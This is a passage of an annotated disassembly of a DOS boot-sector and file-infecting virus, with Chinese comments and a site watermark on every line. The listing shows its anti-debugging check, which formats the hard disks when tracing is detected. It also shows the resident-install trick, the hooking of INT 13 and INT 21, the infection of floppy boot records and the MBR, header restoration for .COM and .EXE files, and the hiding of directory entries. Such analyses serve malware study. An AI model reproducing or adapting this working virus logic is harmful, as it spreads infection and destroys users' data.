9E80:02B7 891D        MOV  [DI],BX   ;并停止 INT 01 防黑网.www.zzfhw.com
9E80:02B9 894D02      MOV  [DI+02],CX 防黑网.www.zzfhw.com
9E80:02BC EB30        JMP  02EE 防黑网.www.zzfhw.com
;以下由 024C 处执行, 找 INT 15 地址 防黑网.www.zzfhw.com
9E80:02BE BFF313      MOV  DI,13F3 防黑网.www.zzfhw.com
9E80:02C1 EB08        JMP  02CB 防黑网.www.zzfhw.com
;以下由 0262 处执行, 找 INT 40 地址 防黑网.www.zzfhw.com
9E80:02C3 BFF713      MOV  DI,13F7 防黑网.www.zzfhw.com
9E80:02C6 EB03        JMP  02CB 防黑网.www.zzfhw.com
9E80:02C8 BFEB13      MOV  DI,13EB   ;从 02A9 转来 防黑网.www.zzfhw.com
9E80:02CB 80FDC8      CMP  CH,C8     ;段地址 < C800 退出 防黑网.www.zzfhw.com
9E80:02CE 721E        JB  02EE 防黑网.www.zzfhw.com
9E80:02D0 80FDF4      CMP  CH,F4     ;段地址 > F400 退出 防黑网.www.zzfhw.com
9E80:02D3 72DF        JB  02B4     ;段地址指向 BIOS 转 02B4 防黑网.www.zzfhw.com
9E80:02D5 EB17        JMP  02EE     ;保存及停止 INT 01 防黑网.www.zzfhw.com
;INT 01 在 INT 21 结束时执行转此处 防黑网.www.zzfhw.com
9E80:02D7 FE0E1214     DEC  Byte Ptr [1412] 防黑网.www.zzfhw.com
9E80:02DB 7511        JNZ  02EE 防黑网.www.zzfhw.com
9E80:02DD 52         PUSH  DX     ;到 INT 21 第一句 防黑网.www.zzfhw.com
9E80:02DE B001        MOV  AL,01     ;恢复 INT 01 中断 防黑网.www.zzfhw.com
9E80:02E0 C516E313     LDS  DX,[13E3] 防黑网.www.zzfhw.com
9E80:02E4 E8EDFD      CALL  00D4     ; 防黑网.www.zzfhw.com
9E80:02E7 E806FF      CALL  01F0     ;截取 INT 21 中断 防黑网.www.zzfhw.com
9E80:02EA 5A         POP  DX 防黑网.www.zzfhw.com
9E80:02EB 80E6FE      AND  DH,FE 防黑网.www.zzfhw.com
9E80:02EE F6C601      TEST  DH,01     ;标志复位转 035A 退出 防黑网.www.zzfhw.com
9E80:02F1 7467        JZ  035A 防黑网.www.zzfhw.com
9E80:02F3 8ED9        MOV  DS,CX 防黑网.www.zzfhw.com
9E80:02F5 33FF        XOR  DI,DI 防黑网.www.zzfhw.com
9E80:02F7 8B01        MOV  AX,[BX+DI] 防黑网.www.zzfhw.com
9E80:02F9 3CF0        CMP  AL,F0 防黑网.www.zzfhw.com
9E80:02FB 7412        JZ  030F 防黑网.www.zzfhw.com
9E80:02FD 3CF2        CMP  AL,F2 防黑网.www.zzfhw.com
9E80:02FF 740E        JZ  030F 防黑网.www.zzfhw.com
9E80:0301 3CF3        CMP  AL,F3 防黑网.www.zzfhw.com
9E80:0303 740A        JZ  030F 防黑网.www.zzfhw.com
9E80:0305 3C9C        CMP  AL,9C 防黑网.www.zzfhw.com
9E80:0307 7309        JNB  0312 防黑网.www.zzfhw.com
9E80:0309 24E7        AND  AL,E7 防黑网.www.zzfhw.com
9E80:030B 3C26        CMP  AL,26 防黑网.www.zzfhw.com
9E80:030D 754B        JNZ  035A 防黑网.www.zzfhw.com
9E80:030F 47         INC  DI 防黑网.www.zzfhw.com
9E80:0310 EBE5        JMP  02F7 防黑网.www.zzfhw.com
9E80:0312 750C        JNZ  0320 防黑网.www.zzfhw.com
9E80:0314 80E6FE      AND  DH,FE 防黑网.www.zzfhw.com
9E80:0317 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:0318 8D5901      LEA  BX,[BX+DI+01] 防黑网.www.zzfhw.com
9E80:031B 80CE01      OR  DH,01 防黑网.www.zzfhw.com
9E80:031E EBD3        JMP  02F3 防黑网.www.zzfhw.com
9E80:0320 3C9D        CMP  AL,9D 防黑网.www.zzfhw.com
9E80:0322 7503        JNZ  0327 防黑网.www.zzfhw.com
9E80:0324 5A         POP  DX 防黑网.www.zzfhw.com
9E80:0325 EBF1        JMP  0318 防黑网.www.zzfhw.com
9E80:0327 3CCF        CMP  AL,CF 防黑网.www.zzfhw.com
9E80:0329 7505        JNZ  0330 防黑网.www.zzfhw.com
9E80:032B 5B         POP  BX 防黑网.www.zzfhw.com
9E80:032C 59         POP  CX 防黑网.www.zzfhw.com
9E80:032D 5A         POP  DX 防黑网.www.zzfhw.com
9E80:032E EBEB        JMP  031B 防黑网.www.zzfhw.com
9E80:0330 3CCD        CMP  AL,CD 防黑网.www.zzfhw.com
9E80:0332 7412        JZ  0346 防黑网.www.zzfhw.com
9E80:0334 3CCC        CMP  AL,CC 防黑网.www.zzfhw.com
9E80:0336 B403        MOV  AH,03 防黑网.www.zzfhw.com
9E80:0338 740B        JZ  0345 防黑网.www.zzfhw.com
9E80:033A 3CCE        CMP  AL,CE 防黑网.www.zzfhw.com
9E80:033C B404        MOV  AH,04 防黑网.www.zzfhw.com
9E80:033E 751A        JNZ  035A 防黑网.www.zzfhw.com
9E80:0340 F6C608      TEST  DH,08 防黑网.www.zzfhw.com
9E80:0343 7415        JZ  035A 防黑网.www.zzfhw.com
9E80:0345 4B         DEC  BX 防黑网.www.zzfhw.com
9E80:0346 80E6FE      AND  DH,FE 防黑网.www.zzfhw.com
9E80:0349 8D5902      LEA  BX,[BX+DI+02] 防黑网.www.zzfhw.com
9E80:034C 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:034D 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:034E 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:034F 8AC4        MOV  AL,AH 防黑网.www.zzfhw.com
9E80:0351 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:0352 E86EFD      CALL  00C3 防黑网.www.zzfhw.com
9E80:0355 8CC1        MOV  CX,ES 防黑网.www.zzfhw.com
9E80:0357 07         POP  ES 防黑网.www.zzfhw.com
9E80:0358 EBC1        JMP  031B 防黑网.www.zzfhw.com
9E80:035A 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:035B 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:035C 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:035D B85E9E      MOV  AX,9E5E 防黑网.www.zzfhw.com
9E80:0360 8ED8        MOV  DS,AX 防黑网.www.zzfhw.com
9E80:0362 B80601      MOV  AX,0106 防黑网.www.zzfhw.com
9E80:0365 BB00FF      MOV  BX,FF00 防黑网.www.zzfhw.com
9E80:0368 B90000      MOV  CX,0000 防黑网.www.zzfhw.com
9E80:036B BA7702      MOV  DX,0277 防黑网.www.zzfhw.com
9E80:036E BF9702      MOV  DI,0297 防黑网.www.zzfhw.com
9E80:0371 CF         IRET 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;  可执行文件入口 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
9E80:0372 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:0373 E80000      CALL  0376     ;重定位 防黑网.www.zzfhw.com
9E80:0376 5E         POP  SI 防黑网.www.zzfhw.com
9E80:0377 81EE7603     SUB  SI,0376 防黑网.www.zzfhw.com
9E80:037B E83BFE      CALL  01B9     ;检测是否有跟踪 防黑网.www.zzfhw.com
9E80:037E 0BED        OR  BP,BP     ;有跟踪转 038D 防黑网.www.zzfhw.com
9E80:0380 750B        JNZ  038D 防黑网.www.zzfhw.com
9E80:0382 B430        MOV  AH,30 防黑网.www.zzfhw.com
9E80:0384 BB9AF9      MOV  BX,F99A 防黑网.www.zzfhw.com
9E80:0387 CD21        INT  21 防黑网.www.zzfhw.com
9E80:0389 3C03        CMP  AL,03     ;内存驻留检测 防黑网.www.zzfhw.com
9E80:038B 7230        JB  03BD     ;已驻留转 03BD 防黑网.www.zzfhw.com
9E80:038D 8CC0        MOV  AX,ES 防黑网.www.zzfhw.com
9E80:038F 48         DEC  AX 防黑网.www.zzfhw.com
9E80:0390 8ED8        MOV  DS,AX 防黑网.www.zzfhw.com
9E80:0392 33FF        XOR  DI,DI 防黑网.www.zzfhw.com
9E80:0394 0BED        OR  BP,BP     ;有跟踪转 039D 防黑网.www.zzfhw.com
9E80:0396 7505        JNZ  039D 防黑网.www.zzfhw.com
9E80:0398 803D5A      CMP  Byte Ptr [DI],5A  ;非最后一块 MCB 防黑网.www.zzfhw.com
9E80:039B 7520        JNZ  03BD     ;转执行原程序 防黑网.www.zzfhw.com
9E80:039D B86201      MOV  AX,0162 防黑网.www.zzfhw.com
9E80:03A0 294503      SUB  [DI+03],AX   ;内存减 1620 (5664)字节 防黑网.www.zzfhw.com
9E80:03A3 294512      SUB  [DI+12],AX 防黑网.www.zzfhw.com
9E80:03A6 8E4512      MOV  ES,[DI+12] 防黑网.www.zzfhw.com
9E80:03A9 8EDF        MOV  DS,DI     ;BIOS 内存减 6K 防黑网.www.zzfhw.com
9E80:03AB 832E130406    SUB  Word Ptr [0413],+06 防黑网.www.zzfhw.com
9E80:03B0 B9D913      MOV  CX,13D9   ;将病毒 13D9 字节移动到高端 防黑网.www.zzfhw.com
9E80:03B3 FC         CLD 防黑网.www.zzfhw.com
9E80:03B4 F3         REPZ 防黑网.www.zzfhw.com
9E80:03B5 2EA4        MOVSB  CS: 防黑网.www.zzfhw.com
9E80:03B7 B8FA03      MOV  AX,03FA   ;转高端 03FA 继续执行 防黑网.www.zzfhw.com
9E80:03BA 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:03BB 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:03BC CB         RETF 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
9E80:03BD 0E         PUSH  CS     ;执行原程序 防黑网.www.zzfhw.com
9E80:03BE 1F         POP  DS 防黑网.www.zzfhw.com
9E80:03BF 07         POP  ES 防黑网.www.zzfhw.com
9E80:03C0 8DB47012     LEA  SI,[SI+1270]   ;原文件头位置 防黑网.www.zzfhw.com
9E80:03C4 8B04        MOV  AX,[SI] 防黑网.www.zzfhw.com
9E80:03C6 3D4D5A      CMP  AX,5A4D   ;.EXE 文件转 03DF 防黑网.www.zzfhw.com
9E80:03C9 7414        JZ  03DF 防黑网.www.zzfhw.com
9E80:03CB 3D5A4D      CMP  AX,4D5A 防黑网.www.zzfhw.com
9E80:03CE 740F        JZ  03DF 防黑网.www.zzfhw.com
9E80:03D0 B90C00      MOV  CX,000C   ;.COM 文件恢复原文件头 000C字 防黑网.www.zzfhw.com
9E80:03D3 BF0001      MOV  DI,0100   ;原文件头 ==> CS:0100 防黑网.www.zzfhw.com
9E80:03D6 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:03D7 57         PUSH  DI 防黑网.www.zzfhw.com
9E80:03D8 FC         CLD 防黑网.www.zzfhw.com
9E80:03D9 F3         REPZ 防黑网.www.zzfhw.com
9E80:03DA A5         MOVSW 防黑网.www.zzfhw.com
9E80:03DB 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:03DC 1F         POP  DS 防黑网.www.zzfhw.com
9E80:03DD 91         XCHG  AX,CX     ;执行原 .COM 文件 防黑网.www.zzfhw.com
9E80:03DE CB         RETF 防黑网.www.zzfhw.com
9E80:03DF 8CC0        MOV  AX,ES     ;.EXE 文件重定位 防黑网.www.zzfhw.com
9E80:03E1 051000      ADD  AX,0010 防黑网.www.zzfhw.com
9E80:03E4 014416      ADD  [SI+16],AX 防黑网.www.zzfhw.com
9E80:03E7 03440E      ADD  AX,[SI+0E] 防黑网.www.zzfhw.com
9E80:03EA 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:03EB 1F         POP  DS 防黑网.www.zzfhw.com
9E80:03EC FA         CLI 防黑网.www.zzfhw.com
9E80:03ED 8ED0        MOV  SS,AX 防黑网.www.zzfhw.com
9E80:03EF 2E8B6410     MOV  SP,CS:[SI+10] 防黑网.www.zzfhw.com
9E80:03F3 33C0        XOR  AX,AX 防黑网.www.zzfhw.com
9E80:03F5 FB         STI 防黑网.www.zzfhw.com
9E80:03F6 2EFF6C14     JMP  FAR CS:[SI+14]   ;执行原 .EXE 文件 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;文件初始化时由低段跳转过来 防黑网.www.zzfhw.com
9E80:03FA 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:03FB 1F         POP  DS     ;DI = 13DA 防黑网.www.zzfhw.com
9E80:03FC C6453801     MOV  Byte Ptr [DI+38],01   ;DS:[1412] 防黑网.www.zzfhw.com
9E80:0400 B80200      MOV  AX,0002 防黑网.www.zzfhw.com
9E80:0403 E8600D      CALL  1166     ;产生随机数 防黑网.www.zzfhw.com
9E80:0406 A23D0A      MOV  [0A3D],AL 防黑网.www.zzfhw.com
9E80:0409 C60673042E    MOV  Byte Ptr [0473],2E 防黑网.www.zzfhw.com
9E80:040E B0EA        MOV  AL,EA 防黑网.www.zzfhw.com
9E80:0410 AA         STOSB 防黑网.www.zzfhw.com
9E80:0411 884504      MOV  [DI+04],AL   ;新 INT 13 中断前 5 字节 防黑网.www.zzfhw.com
9E80:0414 B87204      MOV  AX,0472   ;JMP CS:0472 防黑网.www.zzfhw.com
9E80:0417 AB         STOSW 防黑网.www.zzfhw.com
9E80:0418 C745037305    MOV  Word Ptr [DI+03],0573 防黑网.www.zzfhw.com
9E80:041D 8C0D        MOV  [DI],CS   ;新 INT 21 中断前 5 字节 防黑网.www.zzfhw.com
9E80:041F 8C4D05      MOV  [DI+05],CS   ;JMP CS:0573 防黑网.www.zzfhw.com
9E80:0422 57         PUSH  DI 防黑网.www.zzfhw.com
9E80:0423 E8EEFD      CALL  0214    ;取 INT 13/15/21/40 地址 防黑网.www.zzfhw.com
9E80:0426 5F         POP  DI 防黑网.www.zzfhw.com
9E80:0427 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:0428 1F         POP  DS 防黑网.www.zzfhw.com
9E80:0429 A1AD02      MOV  AX,[02AD] 防黑网.www.zzfhw.com
9E80:042C 394515      CMP  [DI+15],AX   ;[13EF] 防黑网.www.zzfhw.com
9E80:042F 770B        JA  043C 防黑网.www.zzfhw.com
9E80:0431 394521      CMP  [DI+21],AX   ;[13FB] 防黑网.www.zzfhw.com
9E80:0434 7706        JA  043C     ;未找到 MSDOS INT 21 入口不截取 防黑网.www.zzfhw.com
9E80:0436 E8ABFD      CALL  01E4     ;截取 INT 13 防黑网.www.zzfhw.com
9E80:0439 E8B4FD      CALL  01F0     ;截取 INT 21 防黑网.www.zzfhw.com
9E80:043C E8D4FC      CALL  0113     ;传染硬盘主引导区 防黑网.www.zzfhw.com
9E80:043F 0BED        OR  BP,BP 防黑网.www.zzfhw.com
9E80:0441 8BF5        MOV  SI,BP 防黑网.www.zzfhw.com
9E80:0443 7503        JNZ  0448     ;有跟踪转 0448 防黑网.www.zzfhw.com
9E80:0445 E975FF      JMP  03BD     ;无跟踪转 03BD 执行原程序 防黑网.www.zzfhw.com
9E80:0448 33DB        XOR  BX,BX 防黑网.www.zzfhw.com
9E80:044A 8EC3        MOV  ES,BX 防黑网.www.zzfhw.com
9E80:044C B280        MOV  DL,80 防黑网.www.zzfhw.com
9E80:044E 32F6        XOR  DH,DH 防黑网.www.zzfhw.com
9E80:0450 33C9        XOR  CX,CX     ;如果有跟踪 防黑网.www.zzfhw.com
9E80:0452 B80105      MOV  AX,0501   ;格式化硬盘 防黑网.www.zzfhw.com
9E80:0455 E85E06      CALL  0AB6 防黑网.www.zzfhw.com
9E80:0458 80E1C0      AND  CL,C0 防黑网.www.zzfhw.com
9E80:045B FEC5        INC  CH 防黑网.www.zzfhw.com
9E80:045D 75F3        JNZ  0452 防黑网.www.zzfhw.com
9E80:045F 80C140      ADD  CL,40 防黑网.www.zzfhw.com
9E80:0462 75EE        JNZ  0452 防黑网.www.zzfhw.com
9E80:0464 32E4        XOR  AH,AH     ;磁盘复位 防黑网.www.zzfhw.com
9E80:0466 CD13        INT  13 防黑网.www.zzfhw.com
9E80:0468 FEC6        INC  DH 防黑网.www.zzfhw.com
9E80:046A 80FE10      CMP  DH,10 防黑网.www.zzfhw.com
9E80:046D 72E1        JB  0450 防黑网.www.zzfhw.com
9E80:046F 42         INC  DX     ;转格式化第二个硬盘 防黑网.www.zzfhw.com
9E80:0470 EBDC        JMP  044E 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;  病毒新 INT 13H 中断服务程序 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
9E80:0472 EB2E        JMP  04A2  ====>  ;本句指令引导区引入时为 NOP 防黑网.www.zzfhw.com
9E80:0474 E875FC      CALL  00EC     ;本段程序为在引导区启动 防黑网.www.zzfhw.com
9E80:0477 B021        MOV  AL,21    ;时截取 INT 21 防黑网.www.zzfhw.com
9E80:0479 E847FC      CALL  00C3     ;取 INT 21 中断向量于 ES:BX 防黑网.www.zzfhw.com
9E80:047C 8CC0        MOV  AX,ES 防黑网.www.zzfhw.com
9E80:047E 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:047F 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:0480 1F         POP  DS 防黑网.www.zzfhw.com
9E80:0481 07         POP  ES 防黑网.www.zzfhw.com
9E80:0482 3D0008      CMP  AX,0800   ;INT 21 段地址 > 0800 防黑网.www.zzfhw.com
9E80:0485 7718        JA  049F     ;表示尚未设置 防黑网.www.zzfhw.com
9E80:0487 BFFD13      MOV  DI,13FD 防黑网.www.zzfhw.com
9E80:048A FD         STD 防黑网.www.zzfhw.com
9E80:048B 8705        XCHG  AX,[DI] 防黑网.www.zzfhw.com
9E80:048D AF         SCASW 防黑网.www.zzfhw.com
9E80:048E 740F        JZ  049F     ;等于启动初始值退出 防黑网.www.zzfhw.com
9E80:0490 891D        MOV  [DI],BX   ;保存新地址 防黑网.www.zzfhw.com
9E80:0492 B021        MOV  AL,21 防黑网.www.zzfhw.com
9E80:0494 BA7305      MOV  DX,0573   ;设置新 INT 21 到 CS:0573 防黑网.www.zzfhw.com
9E80:0497 E83AFC      CALL  00D4 防黑网.www.zzfhw.com
9E80:049A C60673042E    MOV  Byte Ptr [0473],2E;将 0472 处改为 JMP 04A2 防黑网.www.zzfhw.com
9E80:049F E860FC      CALL  0102     ;POPA 防黑网.www.zzfhw.com
9E80:04A2 80FC02      CMP  AH,02 防黑网.www.zzfhw.com
9E80:04A5 7509        JNZ  04B0 防黑网.www.zzfhw.com
9E80:04A7 83F901      CMP  CX,+01 防黑网.www.zzfhw.com
9E80:04AA 7504        JNZ  04B0 防黑网.www.zzfhw.com
9E80:04AC 0AF6        OR  DH,DH     ;读引导区转 04B6 防黑网.www.zzfhw.com
9E80:04AE 7406        JZ  04B6 防黑网.www.zzfhw.com
9E80:04B0 E8F605      CALL  0AA9     ;执行原 INT 13H 防黑网.www.zzfhw.com
9E80:04B3 CA0200      RETF  0002 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
;读引导区时返回原引导记录及传染程序 防黑网.www.zzfhw.com
9E80:04B6 E8F005      CALL  0AA9     ;执行原 INT 13H 防黑网.www.zzfhw.com
9E80:04B9 E830FC      CALL  00EC     ;PUSHA 防黑网.www.zzfhw.com
9E80:04BC 723D        JB  04FB 防黑网.www.zzfhw.com
9E80:04BE 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:04BF 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:04C0 07         POP  ES 防黑网.www.zzfhw.com
9E80:04C1 1F         POP  DS 防黑网.www.zzfhw.com
9E80:04C2 B90001      MOV  CX,0100 防黑网.www.zzfhw.com
9E80:04C5 8BF3        MOV  SI,BX 防黑网.www.zzfhw.com
9E80:04C7 BF1314      MOV  DI,1413 防黑网.www.zzfhw.com
9E80:04CA 8BDF        MOV  BX,DI 防黑网.www.zzfhw.com
9E80:04CC FC         CLD 防黑网.www.zzfhw.com
9E80:04CD F3         REPZ      ;移动读出的引导记录 防黑网.www.zzfhw.com
9E80:04CE A5         MOVSW       ;到 CS:1413 防黑网.www.zzfhw.com
9E80:04CF 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:04D0 1F         POP  DS 防黑网.www.zzfhw.com
9E80:04D1 E8B8FC      CALL  018C     ;判断是否已传染 防黑网.www.zzfhw.com
9E80:04D4 752B        JNZ  0501 防黑网.www.zzfhw.com
9E80:04D6 B80102      MOV  AX,0201   ;已传染读出原引导记录 防黑网.www.zzfhw.com
9E80:04D9 8B4C1B      MOV  CX,[SI+1B] 防黑网.www.zzfhw.com
9E80:04DC 8A741F      MOV  DH,[SI+1F] 防黑网.www.zzfhw.com
9E80:04DF E8D405      CALL  0AB6 防黑网.www.zzfhw.com
9E80:04E2 7217        JB  04FB 防黑网.www.zzfhw.com
9E80:04E4 A10000      MOV  AX,[0000] 防黑网.www.zzfhw.com
9E80:04E7 3907        CMP  [BX],AX 防黑网.www.zzfhw.com
9E80:04E9 7510        JNZ  04FB     ;无病毒转 04FB 防黑网.www.zzfhw.com
9E80:04EB 8B7E0E      MOV  DI,[BP+0E] 防黑网.www.zzfhw.com
9E80:04EE 8E4600      MOV  ES,[BP+00] 防黑网.www.zzfhw.com
9E80:04F1 2BF3        SUB  SI,BX 防黑网.www.zzfhw.com
9E80:04F3 03FE        ADD  DI,SI 防黑网.www.zzfhw.com
9E80:04F5 8D7747      LEA  SI,[BX+47]   ;解密恢复原引导记录 防黑网.www.zzfhw.com
9E80:04F8 E83BFB      CALL  0036 防黑网.www.zzfhw.com
9E80:04FB E804FC      CALL  0102     ;POPA 防黑网.www.zzfhw.com
9E80:04FE CA0200      RETF  0002 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
;传染引导记录程序 防黑网.www.zzfhw.com
9E80:0501 80FA80      CMP  DL,80    ;是硬盘不传染 防黑网.www.zzfhw.com
9E80:0504 73F5        JNB  04FB 防黑网.www.zzfhw.com
9E80:0506 B80103      MOV  AX,0301 防黑网.www.zzfhw.com
9E80:0509 B90100      MOV  CX,0001 防黑网.www.zzfhw.com
9E80:050C E8A705      CALL  0AB6 防黑网.www.zzfhw.com
9E80:050F 72EA        JB  04FB 防黑网.www.zzfhw.com
9E80:0511 8BF2        MOV  SI,DX 防黑网.www.zzfhw.com
9E80:0513 8BFB        MOV  DI,BX 防黑网.www.zzfhw.com
9E80:0515 8B4513      MOV  AX,[DI+13] 防黑网.www.zzfhw.com
9E80:0518 8B4D18      MOV  CX,[DI+18] 防黑网.www.zzfhw.com
9E80:051B 294D13      SUB  [DI+13],CX 防黑网.www.zzfhw.com
9E80:051E 890E6F05     MOV  [056F],CX 防黑网.www.zzfhw.com
9E80:0522 33D2        XOR  DX,DX 防黑网.www.zzfhw.com
9E80:0524 0BC0        OR  AX,AX 防黑网.www.zzfhw.com
9E80:0526 74D3        JZ  04FB 防黑网.www.zzfhw.com
9E80:0528 E3D1        JCXZ  04FB 防黑网.www.zzfhw.com
9E80:052A F7F1        DIV  CX 防黑网.www.zzfhw.com
9E80:052C 0BD2        OR  DX,DX 防黑网.www.zzfhw.com
9E80:052E 75CB        JNZ  04FB 防黑网.www.zzfhw.com
9E80:0530 8B5D1A      MOV  BX,[DI+1A] 防黑网.www.zzfhw.com
9E80:0533 0BDB        OR  BX,BX 防黑网.www.zzfhw.com
9E80:0535 74C4        JZ  04FB 防黑网.www.zzfhw.com
9E80:0537 F7F3        DIV  BX 防黑网.www.zzfhw.com
9E80:0539 0BD2        OR  DX,DX 防黑网.www.zzfhw.com
9E80:053B 75BE        JNZ  04FB 防黑网.www.zzfhw.com
9E80:053D 48         DEC  AX 防黑网.www.zzfhw.com
9E80:053E 8AE8        MOV  CH,AL 防黑网.www.zzfhw.com
9E80:0540 B101        MOV  CL,01 防黑网.www.zzfhw.com
9E80:0542 4B         DEC  BX 防黑网.www.zzfhw.com
9E80:0543 8BD6        MOV  DX,SI 防黑网.www.zzfhw.com
9E80:0545 8AF3        MOV  DH,BL 防黑网.www.zzfhw.com
9E80:0547 8BDF        MOV  BX,DI 防黑网.www.zzfhw.com
9E80:0549 E80DFC      CALL  0159 防黑网.www.zzfhw.com
9E80:054C 72AD        JB  04FB 防黑网.www.zzfhw.com
9E80:054E B80903      MOV  AX,0309 防黑网.www.zzfhw.com
9E80:0551 33DB        XOR  BX,BX 防黑网.www.zzfhw.com
9E80:0553 E86005      CALL  0AB6 防黑网.www.zzfhw.com
9E80:0556 72A3        JB  04FB 防黑网.www.zzfhw.com
9E80:0558 B80103      MOV  AX,0301 防黑网.www.zzfhw.com
9E80:055B BB1314      MOV  BX,1413 防黑网.www.zzfhw.com
9E80:055E B90100      MOV  CX,0001 防黑网.www.zzfhw.com
9E80:0561 32F6        XOR  DH,DH 防黑网.www.zzfhw.com
9E80:0563 E85005      CALL  0AB6 防黑网.www.zzfhw.com
9E80:0566 8B5E0E      MOV  BX,[BP+0E] 防黑网.www.zzfhw.com
9E80:0569 8E5E00      MOV  DS,[BP+00] 防黑网.www.zzfhw.com
9E80:056C 816F130F00    SUB  Word Ptr [BX+13],000F 防黑网.www.zzfhw.com
9E80:0571 EB88        JMP  04FB 防黑网.www.zzfhw.com
;======================================================================= 防黑网.www.zzfhw.com
;  新 INT 21 代码部分 防黑网.www.zzfhw.com
;======================================================================= 防黑网.www.zzfhw.com
9E80:0573 FA         CLI 防黑网.www.zzfhw.com
9E80:0574 2E8C16D512    MOV  CS:[12D5],SS   ;保存堆栈地址 防黑网.www.zzfhw.com
9E80:0579 2E8926D712    MOV  CS:[12D7],SP 防黑网.www.zzfhw.com
9E80:057E 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:057F 17         POP  SS 防黑网.www.zzfhw.com
9E80:0580 BCD913      MOV  SP,13D9   ;切换到内部堆栈 防黑网.www.zzfhw.com
9E80:0583 FB         STI 防黑网.www.zzfhw.com
9E80:0584 E865FB      CALL  00EC     ;PUSHA 防黑网.www.zzfhw.com
9E80:0587 E421        IN  AL,21 防黑网.www.zzfhw.com
9E80:0589 0C02        OR  AL,02 防黑网.www.zzfhw.com
9E80:058B E621        OUT  21,AL    ;屏蔽键盘 防黑网.www.zzfhw.com
9E80:058D 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:058E 1F         POP  DS 防黑网.www.zzfhw.com
9E80:058F BFFF13      MOV  DI,13FF 防黑网.www.zzfhw.com
9E80:0592 899DC4F6     MOV  [DI+F6C4],BX   ;MOV [0AC3],BX 防黑网.www.zzfhw.com
9E80:0596 B024        MOV  AL,24 防黑网.www.zzfhw.com
9E80:0598 E828FB      CALL  00C3     ;取中断向量 INT 24 防黑网.www.zzfhw.com
9E80:059B 895DE8      MOV  [DI-18],BX   ;保存于 13E7 防黑网.www.zzfhw.com
9E80:059E 8C45EA      MOV  [DI-16],ES 防黑网.www.zzfhw.com
9E80:05A1 C705B003     MOV  Word Ptr [DI],03B0   ;MOV AL,3 防黑网.www.zzfhw.com
9E80:05A5 C64502CF     MOV  Byte Ptr [DI+02],CF   ;IRET 防黑网.www.zzfhw.com
9E80:05A9 8BD7        MOV  DX,DI    ;设置新 INT 24 中断向量 防黑网.www.zzfhw.com
9E80:05AB E826FB      CALL  00D4 防黑网.www.zzfhw.com
9E80:05AE E851FB      CALL  0102     ;POPA 防黑网.www.zzfhw.com
9E80:05B1 E83CFC      CALL  01F0     ;恢复原 INT 21 中断 5 字节 防黑网.www.zzfhw.com
9E80:05B4 E835FB      CALL  00EC     ;以便调用 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
9E80:05B7 80FC30      CMP  AH,30 防黑网.www.zzfhw.com
9E80:05BA 750E        JNZ  05CA 防黑网.www.zzfhw.com
9E80:05BC 81C36606     ADD  BX,0666   ;病毒驻留检测, DOS 30H 功能 防黑网.www.zzfhw.com
9E80:05C0 7508        JNZ  05CA     ;以 BX = F99A 调用 防黑网.www.zzfhw.com
9E80:05C2 895E10      MOV  [BP+10],BX   ;返回 AX = 0000 防黑网.www.zzfhw.com
9E80:05C5 895E0E      MOV  [BP+0E],BX 防黑网.www.zzfhw.com
9E80:05C8 EB5C        JMP  0626     ;INT 21 返回 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
9E80:05CA 80FC11      CMP  AH,11 防黑网.www.zzfhw.com
9E80:05CD 726F        JB  063E 防黑网.www.zzfhw.com
9E80:05CF 80FC12      CMP  AH,12     ;DOS 11,12 功能 (DIR) 防黑网.www.zzfhw.com
9E80:05D2 776A        JA  063E 防黑网.www.zzfhw.com
9E80:05D4 E8EE04      CALL  0AC5     ;先调用原 INT 21 防黑网.www.zzfhw.com
9E80:05D7 0AC0        OR  AL,AL    ;未找到目录项返回 防黑网.www.zzfhw.com
9E80:05D9 7403        JZ  05DE 防黑网.www.zzfhw.com
9E80:05DB E9A502      JMP  0883 防黑网.www.zzfhw.com
9E80:05DE E84E04      CALL  0A2F     ;设置 INT 21 返回值(堆栈中) 防黑网.www.zzfhw.com
9E80:05E1 E8AC04      CALL  0A90     ;取当前执行文件名 防黑网.www.zzfhw.com
9E80:05E4 B84348      MOV  AX,4843   ;于 ES:DI (从 MCB 中) 防黑网.www.zzfhw.com
9E80:05E7 AF         SCASW       ; "HC" 防黑网.www.zzfhw.com
9E80:05E8 750C        JNZ  05F6 防黑网.www.zzfhw.com
9E80:05EA B84B44      MOV  AX,444B   ; "DK" 防黑网.www.zzfhw.com
9E80:05ED AF         SCASW 防黑网.www.zzfhw.com
9E80:05EE 7506        JNZ  05F6 防黑网.www.zzfhw.com
9E80:05F0 B8534B      MOV  AX,4B53   ; "KS" 即 CHKDSK 防黑网.www.zzfhw.com
9E80:05F3 AF         SCASW       ;如果执行文件是 CHKDSK 防黑网.www.zzfhw.com
